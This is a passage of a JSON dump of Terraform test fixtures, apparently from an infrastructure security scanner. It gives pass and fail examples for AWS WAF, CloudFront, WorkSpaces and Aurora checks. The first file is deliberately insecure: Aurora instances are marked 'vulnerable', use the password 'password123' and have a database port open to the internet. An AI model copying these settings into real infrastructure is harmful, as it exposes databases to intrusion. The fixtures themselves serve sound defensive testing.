    "content": "resource \"aws_db_instance\" \"fail1\" {\n  # Vulnerable Aurora PostgreSQL instance\n  allocated_storage = 10\n  apply_immediately  = true\n  auto_minor_version_upgrade = true\n  availability_zone = \"us-east-1a\"\n  db_name            = \"vulnerable_db\"\n  db_subnet_group_name = \"default\"\n  engine             = \"aurora-postgresql\"\n  engine_version     = \"10.12\" # Vulnerable version\n  identifier         = \"vulnerable-aurora-instance\"\n  instance_class     = \"db.t3.micro\"\n  monitoring_interval = 5\n  multi_az           = false\n  password           = \"password123\"\n  port               = 5432\n  storage_type       = \"gp2\"\n  username           = \"admin\"\n  vpc_security_group_ids = [aws_security_group.db_sg.id]\n\n  # Enable the vulnerable 'log_fdw' extension\n  # This is the key vulnerability\n  enabled_cloudwatch_logs_exports = [\"error\", \"audit\"]\n  engine_parameters {\n    name  = \"log_fdw\"\n    value = \"on\"\n  }\n}\n\nresource \"aws_db_subnet_group\" \"default\" {\n  name       = \"default\"\n  subnet_ids = [aws_subnet.public1.id]\n}\n\nresource \"aws_security_group\" \"db_sg\" {\n  name        = \"db-sg\"\n  description = \"Security group for Aurora PostgreSQL\"\n  vpc_id      = aws_vpc.main.id\n\n  ingress {\n    from_port   = 5432\n    to_port     = 5432\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_vpc\" \"main\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n\nresource \"aws_subnet\" \"public1\" {\n  vpc_id            = aws_vpc.main.id\n  cidr_block        = \"10.0.1.0/24\"\n  availability_zone = \"us-east-1a\"\n}\n\nresource \"aws_db_instance\" \"pass\" {\n  # Safe Aurora PostgreSQL instance\n  allocated_storage = 10\n  apply_immediately  = true\n  auto_minor_version_upgrade = true\n  availability_zone = \"us-east-1a\"\n  db_name            = \"safe_db\"\n  db_subnet_group_name = \"default\"\n  engine             = \"aurora-postgresql\"\n  engine_version     = \"11.10\" # Safe version (latest for now)\n  identifier         = \"safe-aurora-instance\"\n  instance_class     = \"db.t3.micro\"\n  monitoring_interval = 5\n  multi_az           = false\n  password           = \"password123\"\n  port               = 5432\n  storage_type       = \"gp2\"\n  username           = \"admin\"\n  vpc_security_group_ids = [aws_security_group.db_sg.id]\n\n  # Disable the 'log_fdw' extension\n  # This is the key mitigation\n  enabled_cloudwatch_logs_exports = [\"error\", \"audit\"]\n  engine_parameters {\n    name  = \"log_fdw\"\n    value = \"off\"\n  }\n}\n\nresource \"aws_db_subnet_group\" \"default\" {\n  name       = \"default\"\n  subnet_ids = [aws_subnet.public1.id]\n}\n\nresource \"aws_security_group\" \"db_sg\" {\n  name        = \"db-sg\"\n  description = \"Security group for Aurora PostgreSQL\"\n  vpc_id      = aws_vpc.main.id\n\n  ingress {\n    from_port   = 5432\n    to_port     = 5432\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_vpc\" \"main\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n\nresource \"aws_subnet\" \"public1\" {\n  vpc_id            = aws_vpc.main.id\n  cidr_block        = \"10.0.1.0/24\"\n  availability_zone = \"us-east-1a\"\n}\n\nresource \"aws_db_instance\" \"fail2\" {\n  # Vulnerable Aurora PostgreSQL instance\n  allocated_storage = 10\n  apply_immediately  = true\n  auto_minor_version_upgrade = true\n  availability_zone = \"us-east-1a\"\n  db_name            = \"vulnerable_db\"\n  db_subnet_group_name = \"default\"\n  engine             = \"aurora-postgresql\"\n  engine_version     = \"11.8\" # Vulnerable version\n  identifier         = \"vulnerable-aurora-instance\"\n  instance_class     = \"db.t3.micro\"\n  monitoring_interval = 5\n  multi_az           = false\n  password           = \"password123\"\n  port               = 5432\n  storage_type       = \"gp2\"\n  username           = \"admin\"\n  vpc_security_group_ids = [aws_security_group.db_sg.id]\n\n  # Enable the vulnerable 'log_fdw' extension\n  # This is the key vulnerability\n  enabled_cloudwatch_logs_exports = [\"error\", \"audit\"]\n  engine_parameters {\n    name  = \"log_fdw\"\n    value = \"on\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_WAFACLCVE202144228/main.tf",
    "content": "# pass\n\nresource \"aws_wafv2_web_acl\" \"pass\" {\n  name        = \"managed-rule-example\"\n  description = \"Example of a managed rule.\"\n  scope       = \"REGIONAL\"\n\n  default_action {\n    allow {}\n  }\n\n  rule {\n    name     = \"rule-1\"\n    priority = 1\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesKnownBadInputsRuleSet\"\n        vendor_name = \"AWS\"\n\n        excluded_rule {\n          name = \"Host_localhost_HEADER\"\n        }\n        excluded_rule {\n          name = \"PROPFIND_METHOD\"\n        }\n        excluded_rule {\n          name = \"ExploitablePaths_URIPATH\"\n        }\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = false\n      metric_name                = \"friendly-rule-metric-name\"\n      sampled_requests_enabled   = false\n    }\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = false\n    metric_name                = \"friendly-metric-name\"\n    sampled_requests_enabled   = false\n  }\n}\n\nresource \"aws_wafv2_web_acl\" \"multi_rules\" {\n  name        = \"managed-rule-example\"\n  description = \"Example of a managed rule.\"\n  scope       = \"REGIONAL\"\n\n  default_action {\n    allow {}\n  }\n\n  rule {\n    name     = \"aws-managed-known-bad-inputs\"\n    priority = 1\n    override_action {\n      none {}\n    }\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesKnownBadInputsRuleSet\"\n        vendor_name = \"AWS\"\n      }\n    }\n    visibility_config {\n      cloudwatch_metrics_enabled = true\n      metric_name                = \"aws-managed-known-bad-inputs\"\n      sampled_requests_enabled   = true\n    }\n  }\n\n  rule {\n    name     = \"aws-managed-common-rule-set\"\n    priority = 2\n    override_action {\n      none {}\n    }\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesCommonRuleSet\"\n        vendor_name = \"AWS\"\n        excluded_rule {\n          name = \"SizeRestrictions_BODY\"\n        }\n        excluded_rule {\n          name = \"CrossSiteScripting_COOKIE\"\n        }\n      }\n    }\n    visibility_config {\n      cloudwatch_metrics_enabled = true\n      metric_name                = \"aws-managed-common-rule-set\"\n      sampled_requests_enabled   = true\n    }\n  }\n\n  rule {\n    name     = \"rate-limit-ip\"\n    priority = 3\n\n    action {\n      block {}\n    }\n\n    statement {\n      rate_based_statement {\n        limit              = 1000\n        aggregate_key_type = \"IP\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = true\n      metric_name                = \"rate-limit-ip\"\n      sampled_requests_enabled   = true\n    }\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = false\n    metric_name                = \"friendly-metric-name\"\n    sampled_requests_enabled   = false\n  }\n}\n\n# fail\n\nresource \"aws_wafv2_web_acl\" \"no_rule\" {\n  name        = \"managed-rule-example-fail\"\n  description = \"Example of a managed rule.\"\n  scope       = \"REGIONAL\"\n\n  default_action {\n    allow {}\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = false\n    metric_name                = \"friendly-metric-name\"\n    sampled_requests_enabled   = false\n  }\n}\n\nresource \"aws_wafv2_web_acl\" \"wrong_rule\" {\n  name        = \"managed-rule-example\"\n  description = \"Example of a managed rule.\"\n  scope       = \"REGIONAL\"\n\n  default_action {\n    allow {}\n  }\n\n  rule {\n    name     = \"rule-1\"\n    priority = 1\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesAnonymousIpList\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = false\n      metric_name                = \"friendly-rule-metric-name\"\n      sampled_requests_enabled   = false\n    }\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = false\n    metric_name                = \"friendly-metric-name\"\n    sampled_requests_enabled   = false\n  }\n}\n\nresource \"aws_wafv2_web_acl\" \"rule_count\" {\n  name        = \"managed-rule-example\"\n  description = \"Example of a managed rule.\"\n  scope       = \"REGIONAL\"\n\n  default_action {\n    allow {}\n  }\n\n  rule {\n    name     = \"rule-1\"\n    priority = 1\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesKnownBadInputsRuleSet\"\n        vendor_name = \"AWS\"\n\n        excluded_rule {\n          name = \"Log4JRCE\"\n        }\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = false\n      metric_name                = \"friendly-rule-metric-name\"\n      sampled_requests_enabled   = false\n    }\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = false\n    metric_name                = \"friendly-metric-name\"\n    sampled_requests_enabled   = false\n  }\n}\n\nresource \"aws_wafv2_web_acl\" \"rule_group_count\" {\n  name        = \"managed-rule-example\"\n  description = \"Example of a managed rule.\"\n  scope       = \"REGIONAL\"\n\n  default_action {\n    allow {}\n  }\n\n  rule {\n    name     = \"rule-1\"\n    priority = 1\n\n    override_action {\n      count {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesKnownBadInputsRuleSet\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = false\n      metric_name                = \"friendly-rule-metric-name\"\n      sampled_requests_enabled   = false\n    }\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = false\n    metric_name                = \"friendly-metric-name\"\n    sampled_requests_enabled   = false\n  }\n}\n\n\n#unknown\nresource \"aws_wafv2_web_acl\" \"pass_dynamic\" {\n  name  = \"default-${var.scope}-web-acl\"\n  scope = var.scope\n\n\n  default_action {\n    block {}\n  }\n\n\n  rule {\n    name     = \"rule-${var.scope}-AWSManagedRulesCommonRuleSet\"\n    priority = 1\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesCommonRuleSet\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = true\n      metric_name                = \"rule-${var.scope}-AWSManagedRulesCommonRuleSet\"\n      sampled_requests_enabled   = true\n    }\n  }\n\n  rule {\n    name     = \"AWS-AWSManagedRulesKnownBadInputsRuleSet\"\n    priority = 2\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesKnownBadInputsRuleSet\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = true\n      metric_name                = \"rule-${var.scope}-AWSManagedRulesKnownBadInputsRuleSet\"\n      sampled_requests_enabled   = true\n    }\n  }\n\n  dynamic \"rule\" {\n    for_each = var.dynamic_ip_set == \"\" ? [] : [1]\n\n    content {\n      name     = \"rule-${var.scope}-ip-allowlist\"\n      priority = 8\n\n      action {\n        allow {}\n      }\n\n      statement {\n        or_statement {\n          statement {\n            ip_set_reference_statement {\n              arn = aws_wafv2_ip_set.allow.arn\n            }\n          }\n          statement {\n            ip_set_reference_statement {\n              arn = data.aws_wafv2_ip_set.github-actions[0].arn\n            }\n          }\n        }\n      }\n\n      visibility_config {\n        cloudwatch_metrics_enabled = true\n        metric_name                = \"rule-${var.scope}-ip-allowlist\"\n        sampled_requests_enabled   = true\n      }\n    }\n  }\n\n\n  dynamic \"rule\" {\n    for_each = nonsensitive(var.review_token) == \"\" ? [] : [1]\n\n    content {\n      name     = \"rule-${var.scope}-review-token-check\"\n      priority = 30\n\n      action {\n        allow {}\n      }\n\n      statement {\n        byte_match_statement {\n          positional_constraint = \"EXACTLY\"\n          search_string         = var.review_token\n\n          field_to_match {\n            single_header {\n              name = \"review-token\"\n            }\n          }\n\n          text_transformation {\n            priority = 1\n            type     = \"NONE\"\n          }\n        }\n      }\n\n      visibility_config {\n        cloudwatch_metrics_enabled = true\n        metric_name                = \"rule-${var.scope}-review-token-check\"\n        sampled_requests_enabled   = true\n      }\n    }\n  }\n\n\n  visibility_config {\n    cloudwatch_metrics_enabled = true\n    metric_name                = \"${var.scope}-web-acl\"\n    sampled_requests_enabled   = true\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_WAFEnabled/main.tf",
    "content": "# pass\n\nresource \"aws_cloudfront_distribution\" \"pass\" {\n  enabled             = true\n  is_ipv6_enabled     = true\n  default_root_object = \"index.html\"\n  price_class         = \"var.price_class\"\n  tags                = \"var.common_tags\"\n\n  web_acl_id = \"IsSetToAValue\"\n\n  origin {\n    domain_name = \"aws_s3_bucket.website.bucket_regional_domain_name\"\n    origin_id   = \"origin\"\n    s3_origin_config {\n      origin_access_identity = \"aws_cloudfront_origin_access_identity.website.cloudfront_access_identity_path\"\n    }\n  }\n  default_cache_behavior {\n    allowed_methods        = []\n    cached_methods         = []\n    target_origin_id       = \"\"\n    viewer_protocol_policy = \"\"\n  }\n  restrictions {\n    geo_restriction {\n      restriction_type = \"\"\n    }\n  }\n  viewer_certificate {}\n}\n\n# fail\n\nresource \"aws_cloudfront_distribution\" \"fail\" {\n  enabled             = true\n  is_ipv6_enabled     = true\n  default_root_object = \"index.html\"\n  price_class         = \"var.price_class\"\n  tags                = \"var.common_tags\"\n\n  origin {\n    domain_name = \"aws_s3_bucket.website.bucket_regional_domain_name\"\n    origin_id   = \"origin\"\n    s3_origin_config {\n      origin_access_identity = \"aws_cloudfront_origin_access_identity.website.cloudfront_access_identity_path\"\n    }\n  }\n  default_cache_behavior {\n    allowed_methods        = []\n    cached_methods         = []\n    target_origin_id       = \"\"\n    viewer_protocol_policy = \"\"\n  }\n  restrictions {\n    geo_restriction {\n      restriction_type = \"\"\n    }\n  }\n  viewer_certificate {}\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_WAFHasLogs/main.tf",
    "content": "\n//global\nresource \"aws_waf_web_acl\" \"fail\" {\n  name        = \"tfWebACL\"\n  metric_name = \"tfWebACL\"\n\n  default_action {\n    type = \"ALLOW\"\n  }\n}\n\nprovider \"aws\" {\n  region = \"us-east-1\"\n}\n\n//global\nresource \"aws_waf_web_acl\" \"pass\" {\n  name        = \"tfWebACLpass\"\n  metric_name = \"tfWebACLpass\"\n\n  default_action {\n    type = \"ALLOW\"\n  }\n\n  rules {\n    priority = 1\n    rule_id  = \"30231cc1-ae2d-44e9-8212-dfb6185288a8\"\n    type     = \"REGULAR\"\n\n    action {\n      type = \"BLOCK\"\n    }\n  }\n\n  logging_configuration {\n    log_destination = aws_kinesis_firehose_delivery_stream.example.arn\n\n    redacted_fields {\n      field_to_match {\n        type = \"URI\"\n      }\n\n      field_to_match {\n        data = \"referer\"\n        type = \"HEADER\"\n      }\n    }\n  }\n}\n\nresource \"aws_wafregional_web_acl\" \"pass\" {\n  name        = \"tfWebACLregional\"\n  metric_name = \"tfWebACLregional\"\n\n  default_action {\n    type = \"ALLOW\"\n  }\n\n  rule {\n    action {\n      type = \"BLOCK\"\n    }\n\n    priority = 1\n    rule_id  = aws_wafregional_rule.wafrule.id\n    type     = \"REGULAR\"\n  }\n\n  logging_configuration {\n    log_destination = aws_kinesis_firehose_delivery_stream.example.arn\n\n    redacted_fields {\n      field_to_match {\n        type = \"URI\"\n      }\n\n      field_to_match {\n        data = \"referer\"\n        type = \"HEADER\"\n      }\n    }\n  }\n}\n\nresource \"aws_wafregional_web_acl\" \"fail\" {\n  name        = \"tfWebACLregionalfail\"\n  metric_name = \"tfWebACLregionalfail\"\n\n  default_action {\n    type = \"ALLOW\"\n  }\n\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_WAFRuleHasAnyActions/main.tf",
    "content": "resource \"aws_wafv2_web_acl\" \"pass_managed\" {\n  name          = var.name\n  description   = \"Managed by Terraform, do not edit in the console\"\n  scope         = \"REGIONAL\"\n  token_domains = [var.dns.fqdn, aws_lb.this.dns_name]\n\n  default_action {\n    allow {}\n  }\n\n  rule {\n    name     = \"aws-managed-rules-common\"\n    priority = 1\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesCommonRuleSet\"\n        vendor_name = \"AWS\"\n      }\n    }\n    visibility_config {\n      cloudwatch_metrics_enabled = false\n      metric_name                = \"friendly-rule-metric-name\"\n      sampled_requests_enabled   = false\n    }\n  }\n  visibility_config {\n      cloudwatch_metrics_enabled = false\n      metric_name                = \"friendly-rule-metric-name\"\n      sampled_requests_enabled   = false\n  }\n}\n\nresource \"aws_wafregional_web_acl\" \"pass\" {\n  name        = \"example\"\n  metric_name = \"example\"\n\n  default_action {\n    type = \"ALLOW\"\n  }\n\n  rule {\n    priority = 1\n    rule_id  = aws_wafregional_rule_group.example.id\n    type     = \"GROUP\"\n\n    override_action {\n      type = \"NONE\"\n    }\n  }\n}\n\nresource \"aws_wafregional_web_acl\" \"pass2\" {\n  name        = \"tfWebACL\"\n  metric_name = \"tfWebACL\"\n\n  default_action {\n    type = \"ALLOW\"\n  }\n\n  rule {\n    action {\n      type = \"BLOCK\"\n    }\n\n    priority = 1\n    rule_id  = aws_wafregional_rule.wafrule.id\n    type     = \"REGULAR\"\n  }\n}\n\nresource \"aws_wafregional_web_acl\" \"fail\" {\n  name        = \"tfWebACL\"\n  metric_name = \"tfWebACL\"\n\n  default_action {\n    type = \"ALLOW\"\n  }\n\n  rule {\n    priority = 1\n    rule_id  = aws_wafregional_rule.wafrule.id\n    type     = \"REGULAR\"\n  }\n}\n\nresource \"aws_wafregional_web_acl\" \"fail2\" {\n  name        = \"tfWebACL\"\n  metric_name = \"tfWebACL\"\n\n  default_action {\n    type = \"ALLOW\"\n  }\n\n  rule {\n    action {}\n\n    priority = 1\n    rule_id  = aws_wafregional_rule.wafrule.id\n    type     = \"REGULAR\"\n  }\n}\n\nresource \"aws_wafregional_web_acl\" \"pass3\" {\n  name        = \"tfWebACL\"\n  metric_name = \"tfWebACL\"\n\n  default_action {\n    type = \"ALLOW\"\n  }\n\n  rule {\n    action {\n      type = \"BLOCK\"\n    }\n\n    priority = 1\n    rule_id  = aws_wafregional_rule.wafrule.id\n    type     = \"REGULAR\"\n  }\n\n    rule {\n    action {\n      type = \"BLOCK\"\n    }\n\n    priority = 2\n    rule_id  = aws_wafregional_rule.wafrule2.id\n    type     = \"REGULAR\"\n  }\n}\n\nresource \"aws_waf_web_acl\" \"pass\" {\n  depends_on = [\n    aws_waf_ipset.ipset,\n    aws_waf_rule.wafrule,\n  ]\n  name        = \"tfWebACL\"\n  metric_name = \"tfWebACL\"\n\n  default_action {\n    type = \"ALLOW\"\n  }\n\n  rules {\n    action {\n      type = \"BLOCK\"\n    }\n\n    priority = 1\n    rule_id  = aws_waf_rule.wafrule.id\n    type     = \"REGULAR\"\n  }\n}\n\nresource \"aws_waf_web_acl\" \"fail\" {\n  depends_on = [\n    aws_waf_ipset.ipset,\n    aws_waf_rule.wafrule,\n  ]\n  name        = \"tfWebACL\"\n  metric_name = \"tfWebACL\"\n\n  default_action {\n    type = \"ALLOW\"\n  }\n\n  rules {\n    priority = 1\n    rule_id  = aws_waf_rule.wafrule.id\n    type     = \"REGULAR\"\n  }\n}\n\nresource \"aws_wafv2_web_acl\" \"pass\" {\n  name        = \"rate-based-example\"\n  description = \"Example of a Cloudfront rate based statement.\"\n  scope       = \"CLOUDFRONT\"\n\n  default_action {\n    allow {}\n  }\n\n  rule {\n    name     = \"rule-1\"\n    priority = 1\n\n    action {\n      block {}\n    }\n\n    statement {\n      rate_based_statement {\n        limit              = 10000\n        aggregate_key_type = \"IP\"\n\n        scope_down_statement {\n          geo_match_statement {\n            country_codes = [\"US\", \"NL\"]\n          }\n        }\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = false\n      metric_name                = \"friendly-rule-metric-name\"\n      sampled_requests_enabled   = false\n    }\n  }\n\n  tags = {\n    Tag1 = \"Value1\"\n    Tag2 = \"Value2\"\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = false\n    metric_name                = \"friendly-metric-name\"\n    sampled_requests_enabled   = false\n  }\n}\n\nresource \"aws_wafv2_web_acl\" \"fail\" {\n  name        = \"rate-based-example\"\n  description = \"Example of a Cloudfront rate based statement.\"\n  scope       = \"CLOUDFRONT\"\n\n  default_action {\n    allow {}\n  }\n\n  rule {\n    name     = \"rule-1\"\n    priority = 1\n\n    statement {\n      rate_based_statement {\n        limit              = 10000\n        aggregate_key_type = \"IP\"\n\n        scope_down_statement {\n          geo_match_statement {\n            country_codes = [\"US\", \"NL\"]\n          }\n        }\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = false\n      metric_name                = \"friendly-rule-metric-name\"\n      sampled_requests_enabled   = false\n    }\n  }\n\n  tags = {\n    Tag1 = \"Value1\"\n    Tag2 = \"Value2\"\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = false\n    metric_name                = \"friendly-metric-name\"\n    sampled_requests_enabled   = false\n  }\n}\n\nresource \"aws_wafv2_rule_group\" \"pass\" {\n  name     = \"example-rule\"\n  scope    = \"REGIONAL\"\n  capacity = 2\n\n  rule {\n    name     = \"rule-1\"\n    priority = 1\n\n    action {\n      allow {}\n    }\n\n    statement {\n\n      geo_match_statement {\n        country_codes = [\"US\", \"NL\"]\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = false\n      metric_name                = \"friendly-rule-metric-name\"\n      sampled_requests_enabled   = false\n    }\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = false\n    metric_name                = \"friendly-metric-name\"\n    sampled_requests_enabled   = false\n  }\n}\n\nresource \"aws_wafregional_rule_group\" \"pass\" {\n  name        = \"example\"\n  metric_name = \"example\"\n\n  activated_rule {\n    action {\n      type = \"COUNT\"\n    }\n\n    priority = 50\n    rule_id  = aws_wafregional_rule.example.id\n  }\n}\n\nresource \"aws_waf_rule_group\" \"pass\" {\n  name        = \"example\"\n  metric_name = \"example\"\n\n  activated_rule {\n    action {\n      type = \"COUNT\"\n    }\n\n    priority = 50\n    rule_id  = aws_waf_rule.example.id\n  }\n}\n\nvariable \"scope\" {\n  type    = string # REGIONAL or CLOUDFRONT\n  default = \"CLOUDFRONT\"\n}\n\n\nresource \"aws_wafv2_web_acl\" \"pass_dynamic\" {\n  name  = \"default-${var.scope}-web-acl\"\n  scope = var.scope\n\n\n  default_action {\n    block {}\n  }\n\n\n  rule {\n    name     = \"rule-${var.scope}-AWSManagedRulesCommonRuleSet\"\n    priority = 1\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesCommonRuleSet\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = true\n      metric_name                = \"rule-${var.scope}-AWSManagedRulesCommonRuleSet\"\n      sampled_requests_enabled   = true\n    }\n  }\n\n  rule {\n    name     = \"AWS-AWSManagedRulesKnownBadInputsRuleSet\"\n    priority = 2\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesKnownBadInputsRuleSet\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = true\n      metric_name                = \"rule-${var.scope}-AWSManagedRulesKnownBadInputsRuleSet\"\n      sampled_requests_enabled   = true\n    }\n  }\n\n  dynamic \"rule\" {\n    for_each = var.dynamic_ip_set == \"\" ? [] : [1]\n\n    content {\n      name     = \"rule-${var.scope}-ip-allowlist\"\n      priority = 8\n\n      action {\n        allow {}\n      }\n\n      statement {\n        or_statement {\n          statement {\n            ip_set_reference_statement {\n              arn = aws_wafv2_ip_set.allow.arn\n            }\n          }\n          statement {\n            ip_set_reference_statement {\n              arn = data.aws_wafv2_ip_set.github-actions[0].arn\n            }\n          }\n        }\n      }\n\n      visibility_config {\n        cloudwatch_metrics_enabled = true\n        metric_name                = \"rule-${var.scope}-ip-allowlist\"\n        sampled_requests_enabled   = true\n      }\n    }\n  }\n\n\n  dynamic \"rule\" {\n    for_each = nonsensitive(var.review_token) == \"\" ? [] : [1]\n\n    content {\n      name     = \"rule-${var.scope}-review-token-check\"\n      priority = 30\n\n      action {\n        allow {}\n      }\n\n      statement {\n        byte_match_statement {\n          positional_constraint = \"EXACTLY\"\n          search_string         = var.review_token\n\n          field_to_match {\n            single_header {\n              name = \"review-token\"\n            }\n          }\n\n          text_transformation {\n            priority = 1\n            type     = \"NONE\"\n          }\n        }\n      }\n\n      visibility_config {\n        cloudwatch_metrics_enabled = true\n        metric_name                = \"rule-${var.scope}-review-token-check\"\n        sampled_requests_enabled   = true\n      }\n    }\n  }\n\n\n  visibility_config {\n    cloudwatch_metrics_enabled = true\n    metric_name                = \"${var.scope}-web-acl\"\n    sampled_requests_enabled   = true\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_WafHasAnyRules/main.tf",
    "content": "\n//global\nresource \"aws_waf_web_acl\" \"fail\" {\n  name        = \"tfWebACL\"\n  metric_name = \"tfWebACL\"\n\n  default_action {\n    type = \"ALLOW\"\n  }\n}\n\nresource \"aws_waf_web_acl\" \"fail2\" {\n  name        = \"tfWebACLfail2\"\n  metric_name = \"tfWebACLfail2\"\n\n  default_action {\n    type = \"ALLOW\"\n  }\n  rules {\n\n  }\n}\n\nprovider \"aws\" {\n  region = \"us-east-1\"\n}\n\n//global\nresource \"aws_waf_web_acl\" \"pass\" {\n  name        = \"tfWebACLpass\"\n  metric_name = \"tfWebACLpass\"\n\n  default_action {\n    type = \"ALLOW\"\n  }\n\n  rules {\n    priority = 1\n    rule_id  = \"30231cc1-ae2d-44e9-8212-dfb6185288a8\"\n    type     = \"REGULAR\"\n\n    action {\n      type = \"BLOCK\"\n    }\n  }\n}\n\nresource \"aws_wafregional_web_acl\" \"pass\" {\n  name        = \"tfWebACLregional\"\n  metric_name = \"tfWebACLregional\"\n\n  default_action {\n    type = \"ALLOW\"\n  }\n\n  rule {\n    action {\n      type = \"BLOCK\"\n    }\n\n    priority = 1\n    rule_id  = aws_wafregional_rule.wafrule.id\n    type     = \"REGULAR\"\n  }\n}\n\nresource \"aws_wafregional_web_acl\" \"fail\" {\n  name        = \"tfWebACLregionalfail\"\n  metric_name = \"tfWebACLregionalfail\"\n\n  default_action {\n    type = \"ALLOW\"\n  }\n\n}\n\nresource \"aws_wafregional_web_acl\" \"fail2\" {\n  name        = \"tfWebACLregionalfail2\"\n  metric_name = \"tfWebACLregionalfail2\"\n\n  default_action {\n    type = \"ALLOW\"\n  }\n\n  rule {\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_WafHasAnyRules/waf2.tf",
    "content": "resource \"aws_wafv2_web_acl\" \"pass\" {\n  name        = \"managed-rule-example\"\n  description = \"Example of a managed rule.\"\n  scope       = \"REGIONAL\"\n\n  default_action {\n    allow {}\n  }\n\n  rule {\n    name     = \"rule-1\"\n    priority = 1\n\n    override_action {\n      count {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesCommonRuleSet\"\n        vendor_name = \"AWS\"\n\n        excluded_rule {\n          name = \"SizeRestrictions_QUERYSTRING\"\n        }\n\n        excluded_rule {\n          name = \"NoUserAgent_HEADER\"\n        }\n\n        scope_down_statement {\n          geo_match_statement {\n            country_codes = [\"US\", \"NL\"]\n          }\n        }\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = false\n      metric_name                = \"friendly-rule-metric-name\"\n      sampled_requests_enabled   = false\n    }\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = false\n    metric_name                = \"friendly-metric-name\"\n    sampled_requests_enabled   = false\n  }\n}\n\nresource \"aws_wafv2_web_acl\" \"fail\" {\n  name        = \"managed-rule-example-fail\"\n  description = \"Example of a managed rule.\"\n  scope       = \"REGIONAL\"\n\n  default_action {\n    allow {}\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = false\n    metric_name                = \"friendly-metric-name\"\n    sampled_requests_enabled   = false\n  }\n}\n\nresource \"aws_wafv2_web_acl\" \"fail2\" {\n  name        = \"managed-rule-example\"\n  description = \"Example of a managed rule.\"\n  scope       = \"REGIONAL\"\n\n  default_action {\n    allow {}\n  }\n\n  rule {}\n\n  visibility_config {\n    cloudwatch_metrics_enabled = false\n    metric_name                = \"friendly-metric-name\"\n    sampled_requests_enabled   = false\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_WorkspaceRootVolumeEncrypted/main.tf",
    "content": "resource \"aws_workspaces_workspace\" \"pass\" {\n  directory_id = aws_workspaces_directory.main.id\n  bundle_id    = data.aws_workspaces_bundle.bundle.id\n  user_name    = var.user_name\n\n  root_volume_encryption_enabled = true\n  user_volume_encryption_enabled = var.user_volume_encryption_enabled\n  volume_encryption_key          = var.volume_encryption_key\n\n  workspace_properties {\n    compute_type_name                         = \"VALUE\"\n    user_volume_size_gib                      = 10\n    root_volume_size_gib                      = 80\n    running_mode                              = \"AUTO_STOP\"\n    running_mode_auto_stop_timeout_in_minutes = 60\n  }\n\n  tags = var.common_tags\n}\n\nresource \"aws_workspaces_workspace\" \"fail\" {\n  directory_id = aws_workspaces_directory.main.id\n  bundle_id    = data.aws_workspaces_bundle.bundle.id\n  user_name    = var.user_name\n\n  user_volume_encryption_enabled = var.user_volume_encryption_enabled\n  volume_encryption_key          = var.volume_encryption_key\n\n  workspace_properties {\n    compute_type_name                         = \"VALUE\"\n    user_volume_size_gib                      = 10\n    root_volume_size_gib                      = 80\n    running_mode                              = \"AUTO_STOP\"\n    running_mode_auto_stop_timeout_in_minutes = 60\n  }\n\n  tags = var.common_tags\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_WorkspaceUserVolumeEncrypted/main.tf",
